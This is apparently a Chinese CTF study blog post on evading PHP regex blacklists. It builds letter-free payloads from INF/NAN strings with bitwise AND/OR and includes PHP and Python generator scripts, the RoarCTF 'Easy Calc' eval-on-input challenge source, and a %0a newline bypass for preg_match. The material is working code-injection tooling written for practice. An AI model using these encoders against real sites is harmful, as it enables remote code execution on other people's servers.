文章目录
最近RCTF分站赛要开始了,梳理一些知识。梳理的过程中可能会怀疑 字符变换
的实用性,我个人难以避免,但即使是不打CTF,细致地观察和演练字符集,想必本身就是一件幸福地事吧。唯一要注意的点,不要为了做题去看/观察/揣摩,把它看作一个挑战和游戏,或者说字符集研究的一部分。
字符集合
通用字符集合
结合题目calc的黑名单进行梳理:
总字符 | regexp黑名单 /im模式 |
---|---|
字母[a-z] | × 不可用 |
数字[0-9] | √ 可用 |
8种运算符 | 只有 ^ 不可用 |
3种比较符 | √ |
3个引号 | × |
3个括号分隔符 | 只有 [] 不可用 |
3个句子分隔符 | 只有 , 不可用 |
转义符\ | × |
常见3个注释符 | √ |
所有空白符\s | 空格、制表符、换页符等等都不可用 |
换行和tab | √ |
扩展ascii编码 [\x7f-\xff] | × |
PHP符号 | regexp黑名单 /im模式 |
---|---|
变量符 | × |
下划线 | × |
32个不可打印字符和转义字符
Url编码和Ascii编码的关系
Url编码是Ascii编码的十六进制格式,加上一个标识符 %
。这里针对Ascii的 [0-31 ]不可打印字符,以Url编码的格式进行展开。
所有的ASCII码都可以用 \
加数字(一般是8进制数字)来表示,如果 %
在黑名单里,可以尝试使用Ascii码的八进制格式。
重点字符 | 十进制 | 用途 |
---|---|---|
%00 | 0 | C语言的字符串结束符号,在PHP中可以使用00截断过check |
%09 | 9 | 水平制表符,一般等价表示为 \t ,默认显示4或8个空格,替换空格 |
%0a | 10 | 换行键,一般等价表示为 \n ,在PHP中可以插入换行过check |
%0b | 11 | 垂直制表符 |
%0c | 12 | 换页键 |
%0d | 13 | 回车键 |
转义字符
C语言定义了一些字母前加 \
来表示常见的那些不能显示的ASCII字符,如\0,\t,\n等,就称为转义字符,因为后面的字符,都不是它本来的ASCII字符意思了。
一般情况下,在后台编程时使用 转义字符 ,在 Web 端当然使用 Url 编码,所以过check以 Url 编码的不可见字符为主。
正则表达式的 \s
是指空白,包括空格、换行、tab缩进等所有的空白。
0x01 位运算
基本概念
参考 异或运算怎么算_位运算
位运算是直接对整数在内存中的二进制位进行操作,由于位运算直接对内存数据进行操作,无需转成十进制,因此使用位运算的处理速度是很快的。
基本的位运算有与、或、异或、取反、左移、右移这6种。
6个基本位运算 | - |
---|---|
与 & | 只有当两位都是 1 时结果才是 1,否则为 0 |
或 | | 顾名思义 |
异或 ^ | 两个位相同则为 0,不同则为 1 |
取反 ~ | 0 则变为 1,1 则变为 0 |
左移 << | 扩大2的n次方 |
右移 >> | 缩小2的n次方 |
PHP字符变换(绕过正则)
1. 与运算和或运算(无字母,用到数字)
参考 RCTF2020 复现, RCTF 2020 Writeup。
参考 无字母数字webshell之提高篇
流程图
流程图代码
graph LR
A1[整数1/0]
A2[整数0]
B[字符串 INF1]
A1-->|小括号和连接符.|B
A2-->|小括号|B
C[字母 I]
B-->|大括号截取字符串首位|C
D[指定字符组合如phpinfo]
C-->|与运算和或运算|D
生成指定字符串的PHP脚本(payload无效)(更正:有效)
本地测试用例,操作系统Win,版本使用php7.0.9和7.1.9
通过本地测试和 buu 题目测试,发现该脚本生成的payload无法执行。(要把phpinfo生成的字符串用()包含,如使用(result)()进行URL编码则能成功执行)
输入命令 | 落脚函数 | 结果 |
---|---|---|
whoami | @eval"(system(".$payload.");" ) | 执行成功 |
whoami) | @eval(“system(”.$payload.";") | 没有解析 ) ,报语法错误 |
phpinfo(); | @eval($payload) | 语法错误unexpected end of file |
(phpinfo)(); | @eval($payload) | 要手动加()()才会执行成功 |
对照测试 | @eval("(phpinfo)();"); | 执行成功,推测转换脚本有问题 |
经过测试,发现该 PHP 脚本目前转换 ()
可能有误,但可以成功转换 [a-z]
。(更正:脚本无误,可以执行成功)
<?php
$cmd = "phpinfo";#要运行的命令
# $cmd = "whoami"; # 构造payload="whoami",成功执行whoami
# $cmd = "whoami);"; # 构造payload="whoami);",报语法错误,unexpected end of file, expecting ',' or ')'
# $cmd = "whoami)"; # 构造payload="whoami)",仍报错,说明payload的 ) 没有被解析
# $cmd = "(phpinfo)();"; # 构造payload="(phpinfo)();",仍报错,推测脚本对 () 的转换可能有误
$fin="";
$tables=
[
"9" => "(((9).(0)){0})",
"8" => "(((8).(0)){0})",
"7" => "(((7).(0)){0})",
"6" => "(((6).(0)){0})",
"5" => "(((5).(0)){0})",
"4" => "(((4).(0)){0})",
"3" => "(((3).(0)){0})",
"2" => "(((2).(0)){0})",
"1" => "(((1).(0)){0})",
"0" => "(((0).(0)){0})",
"~" => "((((0).(0)){0})|(((0/0).(0)){0}))",
"}" => "((((4).(0)){0})|(((1/0).(0)){0}))",
"|" => "((((4).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
"{" => "((((2).(0)){0})|(((1/0).(0)){0}))",
"z" => "((((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
"y" => "((((0).(0)){0})|(((1/0).(0)){0}))",
"x" => "((((0).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
"w" => "((((1).(0)){0})|(((1/0).(0)){2}))",
"v" => "((((0).(0)){0})|(((1/0).(0)){2}))",
"u" => "((((4).(0)){0})|(((0/0).(0)){1}))",
"t" => "((((4).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
"s" => "((((2).(0)){0})|(((0/0).(0)){1}))",
"r" => "((((2).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
"q" => "((((0).(0)){0})|(((0/0).(0)){1}))",
"p" => "((((0).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
"o" => "((((0/0).(0)){0})|(((-1).(1)){0}))",
"n" => "((((0/0).(0)){0})|((((4).(0)){0})&(((-1).(1)){0})))",
"m" => "((((0/0).(0)){1})|(((-1).(1)){0}))",
"l" => "(((((0).(0)){0})|(((0/0).(0)){0}))&((((0/0).(0)){1})|(((-1).(1)){0})))",
"k" => "(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
"j" => "(((((0).(0)){0})|(((0/0).(0)){0}))&(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0}))))",
"i" => "((((0/0).(0)){1})|((((8).(0)){0})&(((-1).(1)){0})))",
"h" => "(((((8).(0)){0})&(((-1).(1)){0}))|((((0/0).(0)){0})&(((0/0).(0)){1})))",
"g" => "((((1/0).(0)){2})|((((1).(0)){0})&(((-1).(1)){0})))",
"f" => "((((1/0).(0)){2})|((((4).(0)){0})&(((-1).(1)){0})))",
"e" => "((((0/0).(0)){1})|((((4).(0)){0})&(((-1).(1)){0})))",
"d" => "(((((0).(0)){0})|(((1/0).(0)){2}))&((((0/0).(0)){1})|(((-1).(1)){0})))",
"c" => "(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
"b" => "(((((0).(0)){0})|(((0/0).(0)){0}))&(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((-1).(1)){0}))))",
"a" => "((((0/0).(0)){1})|((((1).(0)){0})&(((-1).(1)){0})))",
"`" => "(((((0).(0)){0})|(((0/0).(0)){0}))&((((0/0).(0)){1})|((((1).(0)){0})&(((-1).(1)){0}))))",
"O" => "((((0/0).(0)){0})|(((0/0).(0)){1}))",
"N" => "(((0/0).(0)){0})",
"M" => "(((((4).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
"L" => "((((0/0).(0)){0})&((((4).(0)){0})|(((1/0).(0)){0})))",
"K" => "(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
"J" => "((((0/0).(0)){0})&((((2).(0)){0})|(((1/0).(0)){0})))",
"I" => "(((1/0).(0)){0})",
"H" => "((((0/0).(0)){0})&(((1/0).(0)){0}))",
"G" => "((((0/0).(0)){1})|(((1/0).(0)){2}))",
"F" => "(((1/0).(0)){2})",
"E" => "(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
"D" => "((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))",
"C" => "(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
"B" => "((((0/0).(0)){0})&((((2).(0)){0})|(((0/0).(0)){1})))",
"A" => "(((0/0).(0)){1})",
"@" => "((((0/0).(0)){0})&(((0/0).(0)){1}))",
"?" => "((((2).(0)){0})|(((-1).(1)){0}))",
">" => "((((6).(0)){0})|(((8).(0)){0}))",
"=" => "((((0).(0)){0})|(((-1).(1)){0}))",
"<" => "((((4).(0)){0})|(((8).(0)){0}))",
";" => "((((2).(0)){0})|(((9).(0)){0}))",
":" => "((((2).(0)){0})|(((8).(0)){0}))",
"/" => "(((((2).(0)){0})|(((-1).(1)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
"." => "(((((6).(0)){0})|(((8).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
"-" => "(((-1).(1)){0})",
"," => "((((-1).(1)){0})&((((0).(0)){0})|(((0/0).(0)){0})))",
"+" => "(((((2).(0)){0})|(((9).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
"*" => "(((((2).(0)){0})|(((8).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
")" => "((((9).(0)){0})&(((-1).(1)){0}))",
"(" => "((((8).(0)){0})&(((-1).(1)){0}))",
"'" => "((((7).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
"&" => "((((6).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
"%" => "((((5).(0)){0})&(((-1).(1)){0}))",
"$" => "((((4).(0)){0})&(((-1).(1)){0}))",
"#" => "((((3).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
'"' => "((((2).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
"!" => "((((1).(0)){0})&(((-1).(1)){0}))"
];
for($i=0;$i<strlen($cmd);$i++) {
$fin = $fin.$tables[$cmd[$i]].'.';
}
echo substr($fin,0,strlen($fin)-1)."\n";
$payload = substr($fin,0,strlen($fin)-1);
# @eval("system(".$payload.");"); # 执行成功,传入字符串 whoami
# @eval("system(".$payload); # 执行失败,传入字符串 whoami);
# @eval("system(".$payload.";"); # 执行失败,传入字符串 whoami)
# 对照测试
# @eval("(phpinfo)();"); # 执行成功
# @eval($payload); # 执行失败,传入字符串 (phpinfo)();
?>
生成指定字符串的Python脚本(自己编写)
花费一下午时间,自己逐步梳理测试编写了一个Python脚本来完成 字符变换
,起因是测试PHP脚本发现不对,直到写完Python脚本后发现,执行动态函数需要用 ()
把生成的payload包含起来。
把编写的Python脚本保存到脚本库。
# -*- coding:utf-8 -*-
from urllib import parse # URL编码
# 原始字符
origin_list = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'I', 'N', 'F'] # 原始字符
origin_ascii = [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 73, 78, 70] # 方便计数,可有可无
origin_dic = { # 第一层映射关系
'0': "((1/0).(0)){3}", # '0'属于二级表示,最终都要转换成可打印字符的一级表示
'1': "((1/0).(1)){3}",
'2': '((1/0).(2)){3}',
'3': '((1/0).(3)){3}',
'4': '((1/0).(4)){3}',
'5': '((1/0).(5)){3}',
'6': '((1/0).(6)){3}',
'7': '((1/0).(7)){3}',
'8': '((1/0).(8)){3}',
'9': '((1/0).(9)){3}',
'I': '((1/0).(0)){0}',
'N': '((1/0).(0)){1}',
'F': '((1/0).(0)){2}',
}
# 逐步收集ascii可打印字符和相对的映射关系
result_list = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'I', 'N', 'F']
result_ascii = [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 73, 78, 70] # 方便计数
result_dic = {
'0': "((1/0).(0)){3}",
'1': "((1/0).(1)){3}",
'2': '((1/0).(2)){3}',
'3': '((1/0).(3)){3}',
'4': '((1/0).(4)){3}',
'5': '((1/0).(5)){3}',
'6': '((1/0).(6)){3}',
'7': '((1/0).(7)){3}',
'8': '((1/0).(8)){3}',
'9': '((1/0).(9)){3}',
'I': '((1/0).(0)){0}',
'N': '((1/0).(0)){1}',
'F': '((1/0).(0)){2}',
}
# 最终生成的映射字典,有47个键,数字字母26+10=36个,还有11个是:运算符~| 分隔符:;{}?@ 比较符<>=
final_dic = {
'0': '((1/0).(0)){3}',
'1': '((1/0).(1)){3}',
'2': '((1/0).(2)){3}',
'3': '((1/0).(3)){3}',
'4': '((1/0).(4)){3}',
'5': '((1/0).(5)){3}',
'6': '((1/0).(6)){3}',
'7': '((1/0).(7)){3}',
'8': '((1/0).(8)){3}',
'9': '((1/0).(9)){3}',
'I': '((1/0).(0)){0}',
'N': '((1/0).(0)){1}',
'F': '((1/0).(0)){2}',
'y': '(((1/0).(0)){3})|(((1/0).(0)){0})',
'~': '(((1/0).(0)){3})|(((1/0).(0)){1})',
'v': '(((1/0).(0)){3})|(((1/0).(0)){2})',
'w': '(((1/0).(1)){3})|(((1/0).(0)){2})',
':': '(((1/0).(2)){3})|(((1/0).(8)){3})',
';': '(((1/0).(2)){3})|(((1/0).(9)){3})',
'{': '(((1/0).(2)){3})|(((1/0).(0)){0})',
'<': '(((1/0).(4)){3})|(((1/0).(8)){3})',
'=': '(((1/0).(4)){3})|(((1/0).(9)){3})',
'}': '(((1/0).(4)){3})|(((1/0).(0)){0})',
'>': '(((1/0).(4)){3})|((((1/0).(2)){3})|(((1/0).(8)){3}))',
'?': '(((1/0).(4)){3})|((((1/0).(2)){3})|(((1/0).(9)){3}))',
'O': '(((1/0).(0)){0})|(((1/0).(0)){1})',
'H': '(((1/0).(0)){0})&(((1/0).(0)){1})',
'@': '(((1/0).(0)){0})&(((1/0).(0)){2})',
'A': '(((1/0).(0)){0})&((((1/0).(1)){3})|(((1/0).(0)){2}))',
'J': '(((1/0).(0)){1})&((((1/0).(2)){3})|(((1/0).(0)){0}))',
'L': '(((1/0).(0)){1})&((((1/0).(4)){3})|(((1/0).(0)){0}))',
'B': '(((1/0).(0)){2})&((((1/0).(2)){3})|(((1/0).(0)){0}))',
'D': '(((1/0).(0)){2})&((((1/0).(4)){3})|(((1/0).(0)){0}))',
'x': '((((1/0).(0)){3})|(((1/0).(0)){0}))&((((1/0).(0)){3})|(((1/0).(0)){1}))',
'p': '((((1/0).(0)){3})|(((1/0).(0)){0}))&((((1/0).(0)){3})|(((1/0).(0)){2}))',
'q': '((((1/0).(0)){3})|(((1/0).(0)){0}))&((((1/0).(1)){3})|(((1/0).(0)){2}))',
'z': '((((1/0).(0)){3})|(((1/0).(0)){1}))&((((1/0).(2)){3})|(((1/0).(0)){0}))',
'|': '((((1/0).(0)){3})|(((1/0).(0)){1}))&((((1/0).(4)){3})|(((1/0).(0)){0}))',
'r': '((((1/0).(0)){3})|(((1/0).(0)){2}))&((((1/0).(2)){3})|(((1/0).(0)){0}))',
't': '((((1/0).(0)){3})|(((1/0).(0)){2}))&((((1/0).(4)){3})|(((1/0).(0)){0}))',
's': '((((1/0).(1)){3})|(((1/0).(0)){2}))&((((1/0).(2)){3})|(((1/0).(0)){0}))',
'u': '((((1/0).(1)){3})|(((1/0).(0)){2}))&((((1/0).(4)){3})|(((1/0).(0)){0}))',
'G': '((((1/0).(1)){3})|(((1/0).(0)){2}))&((((1/0).(0)){0})|(((1/0).(0)){1}))',
'K': '((((1/0).(2)){3})|(((1/0).(0)){0}))&((((1/0).(0)){0})|(((1/0).(0)){1}))',
'C': '((((1/0).(2)){3})|(((1/0).(0)){0}))&(((((1/0).(1)){3})|(((1/0).(0)){2}))&((((1/0).(0)){0})|(((1/0).(0)){1})))',
'M': '((((1/0).(4)){3})|(((1/0).(0)){0}))&((((1/0).(0)){0})|(((1/0).(0)){1}))',
'E': '((((1/0).(4)){3})|(((1/0).(0)){0}))&(((((1/0).(1)){3})|(((1/0).(0)){2}))&((((1/0).(0)){0})|(((1/0).(0)){1})))',
}
# 通过原始字符的或运算,收集其它字符的映射关系
def huo(result_list, result_dic, result_ascii):
# 经检查,没问题
for s in result_list:
for s1 in result_list:
data = chr(ord(s) | ord(s1)) # 计算
if (data not in result_list) and (ord(data) < 127) and (ord(data) > 31) and (ord(data) not in result_ascii):
# 打印键值,即一级表示
for name in result_dic.keys():
if s == name:
temp = "(" + result_dic[name] + ")|"
for name in result_dic.keys():
if s1 == name:
temp += "(" + result_dic[name] + ")"
result_dic[data] = temp
result_ascii.append(ord(data))
result_list.append(data)
def yu(result_list, result_dic, result_ascii):
# 通过原始字符的或运算,收集其它字符的映射关系
for s in result_list:
for s1 in result_list:
data = chr(ord(s) & ord(s1))
if (data not in result_list) and (ord(data) < 127) and (ord(data) > 31) and (ord(data) not in result_ascii):
# 打印键值,即一级表示
for name in result_dic.keys():
if s == name:
temp = "(" + result_dic[name] + ")&"
for name in result_dic.keys():
if s1 == name:
temp += "(" + result_dic[name] + ")"
result_dic[data] = temp
result_dic[data] = temp # 把映射关系添加到字典
# print(data, result_dic[data])
# print()
result_ascii.append(ord(data))
result_list.append(data)
def show_letters(result_asicii): # 查看当前已建立的映射关系中,有哪些字母
result_ascii.sort()
for x in result_ascii:
if (x>64 and x<91) or (x>96 and x<123):
print(chr(x), end=" ")
def show_dic(result_dic):
for x in result_dic.keys():
print("'" + x + "': ", end="")
print("'" + result_dic[x], end="',")
print()
def trans(cmd_string, final_dic):
result = ""
print(cmd_string)
for single in cmd_string:
for name in final_dic.keys():
if single == name or ord(single)-32 == ord(name):
result += "(" + final_dic[name] + ")."
return result.strip(".")
if __name__ == "__main__":
# huo(result_list, result_dic, result_ascii) # 测试发现,输入原始字符集,通过或运算只能从13扩充到26
# yu(result_list, result_dic, result_ascii) # 再使用与运算,扩充到47个字符的映射关系
cmd = "phpinfo"
result = trans(cmd, final_dic)
print(result)
print(parse.quote(result)) # 执行成功
'''
测试成功,成功执行(phpinfo)()
遇到的bug:
(1)运算符的执行顺序问题。在每次执行运算时,为运算符左右两边的表达式添加小括号。
(2)执行动态函数的格式:(phpinfo)(),所以要想执行phpinfo,还要对result进行处理:(result)()
(3)URL编码:浏览器会对非数字字母的字符进行URL编码,而hackbar和url地址栏提交会跳过浏览器,所以要自行URL编码。
'''
Python脚本编写过程
1.准备原始字符
# 原始字符
origin_list = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'I', 'N', 'F'] # 原始字符
ascii_origin = [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 73, 78, 70] # 方便计数,可有可无
origin_dic = {} # 第一层映射关系
# 逐步收集ascii可打印字符和相对的映射关系
result_list = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'I', 'N', 'F']
ascii_result = [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 73, 78, 70] # 方便计数
result_dic = {}
2.使用原始字符进行或运算 |
,把新得到的字符添加到列表,并把 映射关系
添加到字典。再进行与运算 &
。此时发现字典里有47个字符,查看是否包含26个字母,如果不区分大小写则字母齐全。
3.输入指定字符串,把其转换成无字母的字符串。
4.测试:对result进行URL编码,然后payload=(result)(),执行成功。
2. 异或(无数字和字母)
一些不包含数字和字母的webshell - Phith0n师傅
3. 取反(无数字和字母,需要汉字)
一些不包含数字和字母的webshell - Phith0n师傅
PHP命名规范之一:变量名称必须以字母或下划线开头,参考 php对变量命名的规范。
0x02字符插入
0x03
0x04 落脚函数
0x05 测试靶场
1.[RoarCTF 2019]Easy Calc,主要check源码如下
$str = $_GET['num'];
$blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', "`", '\[', "\]","\$", '_', "\\\\",'\^', ","];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . "/im", $str)) {
die("what are you want to do?");
}
}
@eval('echo '.$str.';');
2.表达式:preg_match(’/^flag$/i’, $c) && $c !== ‘flag’)
翻译:字符要以 flag 开头 和(还是或)
结尾,但不能强等于 flag
本地测试绕过:$c=flag%0a